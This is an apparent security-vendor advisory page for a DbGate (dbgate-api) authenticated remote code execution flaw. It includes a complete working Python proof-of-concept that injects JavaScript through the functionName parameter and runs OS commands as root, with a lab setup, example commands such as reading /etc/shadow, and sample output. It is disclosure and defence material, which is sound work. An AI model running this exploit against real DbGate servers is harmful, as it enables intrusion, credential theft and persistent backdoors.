Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

GHSA-wm5r-5qp3-5vxf

GHSA-wm5r-5qp3-5vxf is a CWE-77 vulnerability in dbgate-api. O3 Security confirms whether GHSA-wm5r-5qp3-5vxf is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Authenticated Remote Code Execution via loadReader functionName code injection in DbGate

Also known asCVE-2026-47670
Published
Jun 5, 2026
Updated
Jun 5, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 14, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-wm5r-5qp3-5vxf.

EPSS Exploitation Probability

via FIRST.org ↗
1.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs75th percentile — riskier than 75% of all scored CVEsHighest risk
1.21%1.55%1.88%2.21%1.7%1.7%Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

2other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
dbgate-apinpm
1Kdownloads / week

Description

Summary

DbGate is vulnerable to authenticated Remote Code Execution (RCE). Any user with valid DbGate credentials can execute arbitrary OS commands as root by exploiting an unsanitized functionName parameter in the /runners/load-reader endpoint. The require = null mitigation is trivially bypassed via dynamic import().

<br/>

Details

Code injection via functionName in loadReader

The /runners/load-reader endpoint interpolates the functionName parameter directly into a dynamically generated JavaScript script template without any sanitization:

// packages/api/src/controllers/runners.js (loadReader / loaderScriptTemplate)
const reader = await dbgateApi.${functionName}({...});

By injecting a newline character into functionName, an attacker breaks out of the template expression and injects arbitrary JavaScript code. The injected code uses await import('child_process') to bypass the require = null mitigation (since import() is a language keyword, not a function that can be nullified), achieving arbitrary command execution as the process user (root in Docker).

The June 2025 security fix (commit cf3f95c) added require = null to the generated script, but this is trivially bypassed:

// Mitigation in generated script:
require = null;

// Bypass via dynamic import (language keyword, cannot be nullified):
const { execSync } = await import('child_process');
execSync('arbitrary command');

Root cause: functionName is user-controlled input that is interpolated into code without sanitization. The fix should validate functionName against an allowlist of known reader functions (e.g., /^[a-zA-Z]+$/) or use a lookup table instead of string interpolation.

<br/>

PoC

The PoC can be run against a test environment using Docker Compose:

services:
  sectest-dbgate:
    image: dbgate/dbgate:7.1.4-alpine
    ports:
      - "80:3000"
    environment:
      LOGINS: admin
      LOGIN_PASSWORD_admin: SuperSecretPassword123
      WEB_ROOT: /
      CONNECTIONS: con1
      LABEL_con1: MySQL
      SERVER_con1: sectest-mysql
      USER_con1: dbuser
      PASSWORD_con1: dbpassword
      PORT_con1: 3306
      ENGINE_con1: mysql@dbgate-plugin-mysql

  sectest-mysql:
    image: mysql:8.0
    environment:
      MYSQL_ROOT_PASSWORD: rootpass
      MYSQL_DATABASE: testdb
      MYSQL_USER: dbuser
      MYSQL_PASSWORD: dbpassword

PoC Script:

#!/usr/bin/env python3
"""
DBGate — Authenticated RCE PoC
===============================
Root-level command execution against auth-enabled DBGate with valid credentials.

  Vulnerability — RCE via loadReader functionName code injection
    The /runners/load-reader endpoint interpolates `functionName` directly
    into a dynamically generated JS script without sanitization.
    A newline in functionName breaks out of the template expression and
    allows arbitrary code execution as root (Docker default).

    The `require = null` mitigation added in June 2025 is trivially
    bypassed via dynamic `import()` (a language keyword, not a function).

Affected versions: All DbGate versions (tested on 6.1.4, 6.2.0, 7.1.4)
Fixed in:          NOT FIXED as of DbGate 7.1.4
Tested on:         dbgate/dbgate:7.1.4-alpine
"""

import argparse
import json
import sys
import time
import uuid
import requests

requests.packages.urllib3.disable_warnings()

COMMON_ROOTS = ["", "/dbgate", "/db", "/admin", "/gate", "/app"]


def banner(host, command, user):
    print(f"""
  ┌─────────────────────────────────────────────────────┐
  │  DBGate — Authenticated RCE PoC                     │
  │  loadReader functionName code injection             │
  │  Affects ALL versions (unpatched as of 7.1.4)       │
  └─────────────────────────────────────────────────────┘
  Target : {host}
  User   : {user}
  Command: {command}
""")


def build_base(host, port=None):
    if "://" not in host:
        host = f"http://{host}"
    scheme, rest = host.split("://", 1)
    rest = rest.rstrip("/")
    slash = rest.find("/")
    if slash == -1:
        hostport, path = rest, ""
    else:
        hostport, path = rest[:slash], rest[slash:]
    if port:
        hostport = hostport.rsplit(":", 1)[0] + f":{port}"
    elif ":" not in hostport:
        hostport += ":80"
    return f"{scheme}://{hostport}", path


def discover_web_root(base_host, explicit_path=""):
    if explicit_path:
        return f"{base_host}{explicit_path}"

    for root in COMMON_ROOTS:
        url = f"{base_host}{root}"
        try:
            r = requests.post(f"{url}/config/get", json={},
                              timeout=3, verify=False)
            if r.status_code == 200 and "version" in r.text:
                if root:
                    print(f"    [+] Auto-detected WEB_ROOT: {root}")
                return url
        except Exception:
            pass
    return base_host


def phase1_recon(base):
    print("[Phase 1] Reconnaissance")
    info = {}

    try:
        r = requests.post(f"{base}/config/get", json={}, timeout=5, verify=False)
        if r.status_code == 200:
            cfg = r.json()
            info["config"] = cfg
            version = cfg.get("version", "?")
            print(f"    [+] Version      : {version}")
            print(f"    [+] Docker       : {cfg.get('isDocker', '?')}")
            print(f"    [+] Data dir     : {cfg.get('connectionsFilePath', '?').rsplit('/', 1)[0]}")
    except Exception:
        print(f"    [!] /config/get failed")

    try:
        r = requests.post(f"{base}/auth/get-providers", json={}, timeout=5, verify=False)
        if r.status_code == 200:
            pdata = r.json()
            info["providers"] = pdata
            providers = pdata.get("providers", [])
            names = [p.get("name", "?") for p in providers]
            default = pdata.get("default", "?")
            print(f"    [+] Auth         : {', '.join(names)} (default: {default})")
            info["default_amoid"] = default
    except Exception:
        pass

    print()
    return info


def phase2_authenticate(base, info, user, password):
    print("[Phase 2] Authentication")

    amoid = info.get("default_amoid", "logins")

    try:
        r = requests.post(
            f"{base}/auth/login",
            json={"amoid": amoid, "login": user, "password": password},
            timeout=5, verify=False,
        )
        if r.status_code == 200:
            data = r.json()
            token = data.get("accessToken")
            if token:
                print(f"    [+] Authenticated as '{user}'")
                print(f"    [+] JWT obtained: {token[:50]}...")
                print()
                return token
            else:
                error = data.get("error", "no accessToken in response")
                print(f"    [-] Login failed: {error}")
        else:
            print(f"    [-] Login failed (HTTP {r.status_code})")
    except Exception as e:
        print(f"    [!] Login error: {e}")

    print()
    return None


def phase3_rce(base, token, command):
    """
    RCE via loadReader functionName code injection.

    functionName is interpolated into a JS script template:
        const reader = await dbgateApi.{functionName}({...});
    A newline in functionName breaks out and injects arbitrary code.

    import() bypasses the require=null mitigation (import is a keyword).
    """
    print("[Phase 3] RCE via loadReader code injection")
    print(f"    [*] Command: {command}")

    uid = uuid.uuid4().hex[:12]
    jslout = f"/tmp/_rce_{uid}.jsonl"

    escaped_cmd = (command
                   .replace("\\", "\\\\")
                   .replace("'", "\\'")
                   .replace("`", "\\`"))

    payload_fn = (
        "csvReader\n"
        "var _r = (await import('child_process'))"
        f".execSync('{escaped_cmd}',{{timeout:30000}})"
        ".toString();\n"
        "var NL = String.fromCharCode(10);\n"
        "var _hdr = JSON.stringify({__isStreamHeader:true,"
        "columns:[{columnName:'out'}]});\n"
        "var _rows = _r.split(NL)"
        ".filter(function(l){return l.length>0})"
        ".map(function(l){return JSON.stringify({out:l})})"
        ".join(NL);\n"
        f"(await import('fs')).writeFileSync('{jslout}',"
        " _hdr + NL + _rows + NL);\n"
        "//"
    )

    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json",
    }

    print(f"    [*] Injecting payload via functionName (bypasses require=null)")

    try:
        r = requests.post(
            f"{base}/runners/load-reader",
            json={"functionName": payload_fn, "props": {}},
            headers=headers,
            timeout=35, verify=False,
        )
        print(f"    [*] Payload sent (status {r.status_code})")
    except requests.exceptions.Timeout:
        print(f"    [*] Payload sent (timed out — command may still be running)")
    except requests.exceptions.ConnectionError:
        print(f"    [*] Payload sent (connection reset — expected for some versions)")
    except Exception as e:
        print(f"    [!] Send error: {e}")
        return None

    print(f"    [*] Waiting for execution...")
    for wait in [0.5, 1, 1.5, 2, 3, 5]:
        time.sleep(wait)
        try:
            r = requests.post(
                f"{base}/jsldata/get-rows",
                json={"jslid": f"file://{jslout}", "offset": 0, "limit": 10000},
                headers=headers,
                timeout=5, verify=False,
            )
            if r.status_code == 200:
                rows = r.json()
                if isinstance(rows, list) and len(rows) > 0:
                    print(f"    [+] Output captured ({len(rows)} lines)")
                    print()
                    return "\n".join(
                        row.get("out", "")
                        for row in rows
                        if isinstance(row, dict)
                    )
        except requests.exceptions.ConnectionError:
            try:
                time.sleep(1)
                r = requests.post(
                    f"{base}/jsldata/get-rows",
                    json={"jslid": f"file://{jslout}", "offset": 0, "limit": 10000},
                    headers=headers,
                    timeout=5, verify=False,
                )
                if r.status_code == 200:
                    rows = r.json()
                    if isinstance(rows, list) and len(rows) > 0:
                        print(f"    [+] Output captured ({len(rows)} lines, after reconnect)")
                        print()
                        return "\n".join(
                            row.get("out", "")
                            for row in rows
                            if isinstance(row, dict)
                        )
            except Exception:
                pass
        except Exception:
            pass

    print(f"    [-] Could not retrieve output (command may have failed)")
    print()
    return None


def main():
    p = argparse.ArgumentParser(
        add_help=False,
        description="DBGate — Authenticated RCE PoC (loadReader code injection)",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=(
            "Any authenticated DbGate user can escalate to root-level\n"
            "command execution via unsanitized functionName injection.\n"
            "This vulnerability is UNPATCHED as of DbGate 7.1.4.\n"
            "\n"
            "examples:\n"
            "  %(prog)s -t localhost -u admin -P 'password' -c 'id'\n"
            "  %(prog)s -t 10.0.0.5:3000 -u admin -P 's3cret' -c 'cat /etc/shadow'\n"
            "  %(prog)s -t target.internal/dbgate -u admin -P 'pass' -c 'env'\n"
        ),
    )
    p.add_argument("-t", "--target", required=True, help="Target host[:port]")
    p.add_argument("-u", "--user", required=True, help="DbGate username")
    p.add_argument("-P", "--password", required=True, help="DbGate password")
    p.add_argument("-c", "--command", required=True, help="OS command to execute")
    p.add_argument("-p", "--port", type=int, default=None, help="Override port")

    if len(sys.argv) == 1:
        p.print_help()
        sys.exit(1)
    args = p.parse_args()

    base_host, path = build_base(args.target, args.port)
    banner(base_host, args.command, args.user)

    base = discover_web_root(base_host, path)
    print(f"    [*] API endpoint : {base}")
    print()

    info = phase1_recon(base)
    if not info.get("config"):
        print("[!] Cannot reach target — verify host/port/web-root")
        sys.exit(1)

    token = phase2_authenticate(base, info, args.user, args.password)
    if not token:
        print("[!] Authentication failed — check username/password")
        sys.exit(1)

    output = phase3_rce(base, token, args.command)
    if output is not None:
        print("─" * 60)
        print(output.rstrip())
        print("─" * 60)
        print()
        print("[+] RCE successful: authenticated user → root command execution")
    else:
        print("[!] No output captured (command may have failed or timed out)")
        sys.exit(1)


if __name__ == "__main__":
    main()

And running the PoC Python script (requires valid credentials):

python3 poc.py -t http://localhost -u admin -P 'SuperSecretPassword123' -c 'id'

Terminal output:

  ┌─────────────────────────────────────────────────────┐
  │  DBGate — Authenticated RCE PoC                     │
  │  loadReader functionName code injection             │
  │  Affects ALL versions (unpatched as of 7.1.4)       │
  └─────────────────────────────────────────────────────┘
  Target : http://localhost:80
  User   : admin
  Command: id

    [*] API endpoint : http://localhost:80

[Phase 1] Reconnaissance
    [+] Version      : 7.1.4
    [+] Docker       : True
    [+] Data dir     : /root/.dbgate
    [+] Auth         : Login & Password (default: logins)

[Phase 2] Authentication
    [+] Authenticated as 'admin'
    [+] JWT obtained: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6I...

[Phase 3] RCE via loadReader code injection
    [*] Command: id
    [*] Injecting payload via functionName (bypasses require=null)
    [*] Payload sent (status 500)
    [*] Waiting for execution...
    [+] Output captured (1 lines)

────────────────────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
────────────────────────────────────────────────────────────

[+] RCE successful: authenticated user → root command execution
<br/>

Impact

  • Privilege escalation to root — an authenticated DbGate user escalates from web UI access to a root OS shell inside the container
  • Infrastructure secret theft/proc/1/environ exposes all container environment variables, which may include API keys, cloud tokens, and secrets beyond database credentials that are not visible through the DbGate UI
  • Other users' credentials — extracts LOGIN_PASSWORD_* env vars for all DbGate users, enabling password-reuse attacks against other systems
  • Network pivot — from inside the container, the attacker can scan and reach other services on the network that are not exposed externally
  • Persistent backdoor — root access allows modifying the DbGate application itself (e.g. bundle.js), installing cron jobs, or adding SSH keys — the backdoor survives credential rotation and DbGate restarts

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmdbgate-apiall versions7.1.9

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for dbgate-api. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update dbgate-api to 7.1.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wm5r-5qp3-5vxf is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-wm5r-5qp3-5vxf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-wm5r-5qp3-5vxf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary DbGate is vulnerable to authenticated Remote Code Execution (RCE). Any user with valid DbGate credentials can execute arbitrary OS commands as root by exploiting an unsanitized `functionName` parameter in the `/runners/load-reader` endpoint. The `require = null` mitigation is trivially bypassed via dynamic `import()`. <br/> ### Details **Code injection via `functionName` in loadReader** The `/runners/load-reader` endpoint interpolates the `functionName` parameter directly into a dynamically generated JavaScript script template without any sanitization: ```javascript // packa
O3 Security · Impact-Aware SCA

Is GHSA-wm5r-5qp3-5vxf in your dependencies?

O3 detects GHSA-wm5r-5qp3-5vxf across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-wm5r-5qp3-5vxf: dbgate-api Malicious… | O3 Security